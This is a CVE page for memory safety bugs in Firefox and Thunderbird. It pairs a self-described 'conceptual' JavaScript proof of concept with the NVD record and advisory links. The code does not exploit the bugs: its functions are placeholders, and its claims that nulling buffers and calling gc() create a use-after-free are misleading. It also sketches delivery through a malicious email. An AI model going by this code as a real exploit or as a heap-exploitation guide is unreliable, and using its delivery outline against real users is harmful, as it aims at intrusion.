CVE-2026-0891

// CVE-2026-0891 PoC - Memory Corruption in Firefox/Thunderbird // Note: This is a conceptual PoC for demonstration purposes // Actual exploitation requires specific memory layout manipulation // Trigger mechanism for memory safety bug (conceptual) function triggerMemoryCorruption() { // Allocate large buffer to manipulate heap layout let buffers = []; for (let i = 0; i < 1000; i++) { buffers.push(new ArrayBuffer(1024 * 1024)); } // Trigger the specific bug with crafted input // Based on bug IDs: 1964722, 2000981, 2003100, 2003278 let maliciousData = craftMaliciousPayload(); processUntrustedData(maliciousData); // Force garbage collection to create use-after-free condition buffers = null; gc(); // Spray heap with controllable data let spray = new Uint8Array(1024); spray.fill(0x41); // Trigger callback that may use freed memory triggerCallback(); } function craftMaliciousPayload() { // Payload construction varies based on specific bug // This is a placeholder for actual vulnerability trigger return "\x41".repeat(100000); } function processUntrustedData(data) { // Simulate processing that triggers the vulnerability // In real scenario, this would be in native code console.log("Processing data of length: " + data.length); } function triggerCallback() { // Callback that may execute in corrupted memory context console.log("Trigger callback executed"); } // Execute on page load window.onload = function() { try { triggerMemoryCorruption(); } catch (e) { console.log("Error: " + e.message); } }; // For Thunderbird: Email-based trigger (conceptual) // Attach malicious HTML email with embedded JavaScript // that triggers the same memory corruption path

{"cve": {"id": "CVE-2026-0891", "sourceIdentifier": "[email protected]", "published": "2026-01-13T14:16:39.627", "lastModified": "2026-04-13T15:17:18.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Memory safety bugs present in Firefox ESR 140.6, Thunderbird ESR 140.6, Firefox 146 and Thunderbird 146. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability was fixed in Firefox 147, Firefox ESR 140.7, Thunderbird 147, and Thunderbird 140.7."}, {"lang": "es", "value": "Errores de seguridad de memoria presentes en Firefox ESR 140.6, Thunderbird ESR 140.6, Firefox 146 y Thunderbird 146. Algunos de estos errores mostraron evidencia de corrupción de memoria y presumimos que con suficiente esfuerzo algunos de estos podrían haber sido explotados para ejecutar código arbitrario. Esta vulnerabilidad afecta a Firefox &lt; 147, Firefox ESR &lt; 140.7, Thunderbird &lt; 147 y Thunderbird &lt; 140.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.7.0", "matchCriteriaId": "A2FC50B3-5A36-4702-8CF6-CC732E3B148B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "147.0", "matchCriteriaId": "E06AF540-011D-4249-9815-3A4609DD26D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.7.0", "matchCriteriaId": "BFBAB968-3244-4970-8D02-CCF9D5FB958D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:*", "versionEndExcluding": "147.0", "matchCriteriaId": "47B67C0A-B05F-4212-9255-0446302237A5"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/buglist.cgi?bug_id=1964722%2C2000981%2C2003100%2C2003278", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-01/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-03/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-04/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-05/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}